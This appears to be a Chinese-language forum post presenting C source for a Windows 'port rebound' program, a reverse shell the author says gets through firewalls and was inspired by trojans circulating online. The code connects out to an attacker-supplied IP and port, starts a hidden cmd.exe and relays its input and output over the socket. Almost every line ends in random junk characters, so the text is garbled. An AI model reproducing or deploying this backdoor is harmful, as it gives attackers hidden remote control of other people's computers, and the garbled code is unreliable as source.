Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 @kmOz(  
=>en<#[\:  
/* ============================== d@aPhzLu  
Rebound port in Windows NT 6L4<c+v_  
By wind,2006/7 >jH%n(TcC  
===============================*/ ?Ja&LNI9S  
#include /CfgxPo  
#include (m%
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i?0+f}5<p  
#pragma comment(lib,"wsock32.lib") .{ +Obi  
r
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void OutputShell(); Rt=zqfJ  
SOCKET sClient; _Cnl|'  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; %S9YjMR@  
e$=UA%  
void main(int argc,char **argv) 'PK;Fg\  
{ ;2\+O"}4H  
WSADATA stWsaData; %f'mW2  
int nRet; yuA+YZ  
SOCKADDR_IN stSaiClient,stSaiServer; {>rGe#Vu  
!]*Cwbh. u  
if(argc != 3) TpIx!R9  
{ DITo.PU  
printf("Useage:\n\rRebound DestIP DestPort\n"); BWG*UjP M  
return; bpp{Z1/4  
} ,C97|6rC  
'ugc=-0pd  
WSAStartup(MAKEWORD(2,2),&stWsaData); hw9qnSeRy  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =R6IW,*  
Q!*}^W  
stSaiClient.sin_family = AF_INET; {Uj-x -  
stSaiClient.sin_port = htons(0); :XFr"aSt  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 734f&2  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 68 \73L=  
{ 'L$}!H1y  
printf("Bind Socket Failed!\n"); #ExNiFZ  
return; tPqWe2  
} J1UG},-h  
9Rd&Jq^  
stSaiServer.sin_family = AF_INET; K{EDmC  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); XDQ5qfE|  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); :tf'Gw6v  
1Wr,E#+C  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) !YVGT <  
{ j/p1/sJ[y  
printf("Connect Error!"); D8 BmC  
return; -\[H>)z]RB  
} 1tIJ'#6
 
OutputShell(); /nWBol,  
} sOqT*gwr:  
mJNw<T4!/  
void OutputShell() m"/ o4  
{ q,m+W
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char szBuff[1024]; cXo
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SECURITY_ATTRIBUTES stSecurityAttributes; W7#dc89}  
OSVERSIONINFO stOsversionInfo; =n<Lbl(7  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; SxI-pH'  
STARTUPINFO stStartupInfo; 8_Nyy/K#F  
char *szShell; wQ9?Z.-$  
PROCESS_INFORMATION stProcessInformation; H):(8/>(  
unsigned long lBytesRead; XY^]nm-{I  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); $uUR@l  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); {n\
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stSecurityAttributes.lpSecurityDescriptor = 0; %#x l+^  
stSecurityAttributes.bInheritHandle = TRUE; GIZw/L7Yb  
V}X>~ '%  
HA74s':FN  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Ozg,6&3ji  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); rS8}(lf  
MfZamu5+F  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Z 4QL&?U  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; />n!2'!  
stStartupInfo.wShowWindow = SW_HIDE; ;ObrBN,Fu  
stStartupInfo.hStdInput = hReadPipe; $5:I~-mx  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; zY9CoadZ  
mw&'@M_(7  
GetVersionEx(&stOsversionInfo); B$M4f7  
lK_T%1Gz  
switch(stOsversionInfo.dwPlatformId) #mYe@[p@  
{  SQ&}18Z~  
case 1: ~BiLzT1,  
szShell = "command.com"; >n3ig~0d  
break; xX|f{)<  
default: ;nrkC\SYh:  
szShell = "cmd.exe"; zZ,"HY=jN  
break; .'>d7  
} +%H=+fJ2}  
orOq5?3  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); *cZ7?  
b;FaTm@  
send(sClient,szMsg,77,0); X.sOZb?$  
while(1) 5=\^DeM@ H  
{ "~S2XcR[ E  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); jn`5{ ]D  
if(lBytesRead) P%ThW9^vnj  
{ yuC|_nL  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); LP !d|X  
send(sClient,szBuff,lBytesRead,0); 1]9l SE!E7  
} * =*\w\ te  
else 3-oKY*jO  
{ \r9E6LLX'  
lBytesRead=recv(sClient,szBuff,1024,0); v,Zoy|Lu  
if(lBytesRead<=0) break; Vw3=jIQN:!  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); wwv+s~(0  
} v_WF.sb~  
} QeN7~ J  
7nB
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return; 7kITssVHI  
}